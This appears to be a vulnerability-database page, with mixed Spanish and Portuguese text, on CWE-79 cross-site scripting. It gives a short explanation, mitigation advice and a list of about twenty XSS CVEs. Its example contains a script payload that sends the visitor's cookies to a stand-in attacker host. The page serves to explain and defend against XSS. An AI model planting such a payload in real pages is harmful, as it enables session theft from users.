Fallos del tipo CWE-79

30.305 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-66309MEDIUMGrav vulnerable to Cross-Site Scripting (XSS) Reflected endpoint /admin/pages/[page], parameter data[header][content][items], located in the "Blog Config" tabEPSS 0.2%CVE-2025-4406MEDIUMwpForo Forum <= 2.4.5 - Authenticated (Subscriber+) Stored Cross-Site Scripting via Profile AvatarEPSS 0.2%CVE-2024-37844MEDIUMA stored cross-site scripting (XSS) vulnerability in MangoOS before 5.2.0 allows attackers to execute arbitrary web scripts or HTML via a crEPSS 0.2%CVE-2024-12045MEDIUMEssential Blocks – Page Builder Gutenberg Blocks, Patterns & Templates <= 5.0.9 - Authenticated (Admin+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2026-20089MEDIUMCisco Integrated Management Controller Cross-Site Scripting VulnerabilityEPSS 0.2%CVE-2026-5220MEDIUMStored XSS in DivvyDrive Information Technologies' DivvyDriveEPSS 0.2%CVE-2026-25594MEDIUMInvoicePlane has Stored XSS via Family Name in Product FormEPSS 0.2%CVE-2024-38640HIGHDownload StationEPSS 0.2%CVE-2022-50963MEDIUMuBidAuction 2.0.1 myAuctions active Reflected XSSEPSS 0.2%CVE-2026-93303HIGHHT Contact Form <= 2.10.1 - Unauthenticated Stored DOM-Based Cross-Site Scripting via 'form_data' Rich Text Field via Draft Save/ResumeEPSS 0.2%CVE-2025-0450MEDIUMBetheme <= 27.6.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via Custom JSEPSS 0.2%CVE-2026-116522HIGHRelevanssi <= 4.28.5 - Unauthenticated Stored Cross-Site Scripting via Comment Content via Late Entity DecodeEPSS 0.2%CVE-2024-45073MEDIUMIBM WebSphere Application Server cross-site scriptingEPSS 0.2%CVE-2025-9204MEDIUMX Addons for Elementor <= 1.0.16 - Authenticated (Contributor+) Stored Cross-Site Scripting via Youtube Video ID FieldEPSS 0.2%CVE-2026-48167MEDIUMFilament: Unvalidated ImageColumn and ImageEntry values can be used for XSSEPSS 0.2%CVE-2025-15202MEDIUMSohuTV CacheCloud TaskController.java taskQueueList cross site scriptingEPSS 0.2%CVE-2025-15204MEDIUMSohuTV CacheCloud QuartzManageController.java doQuartzList cross site scriptingEPSS 0.2%CVE-2025-15203MEDIUMSohuTV CacheCloud ResourceController.java index cross site scriptingEPSS 0.2%CVE-2025-7440MEDIUMAnber Elementor Addon <= 1.0.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via Carousel button linkEPSS 0.2%CVE-2025-64177MEDIUMThinkDashboard: Stored XSS in Dashboard via Malicious BookmarkEPSS 0.2%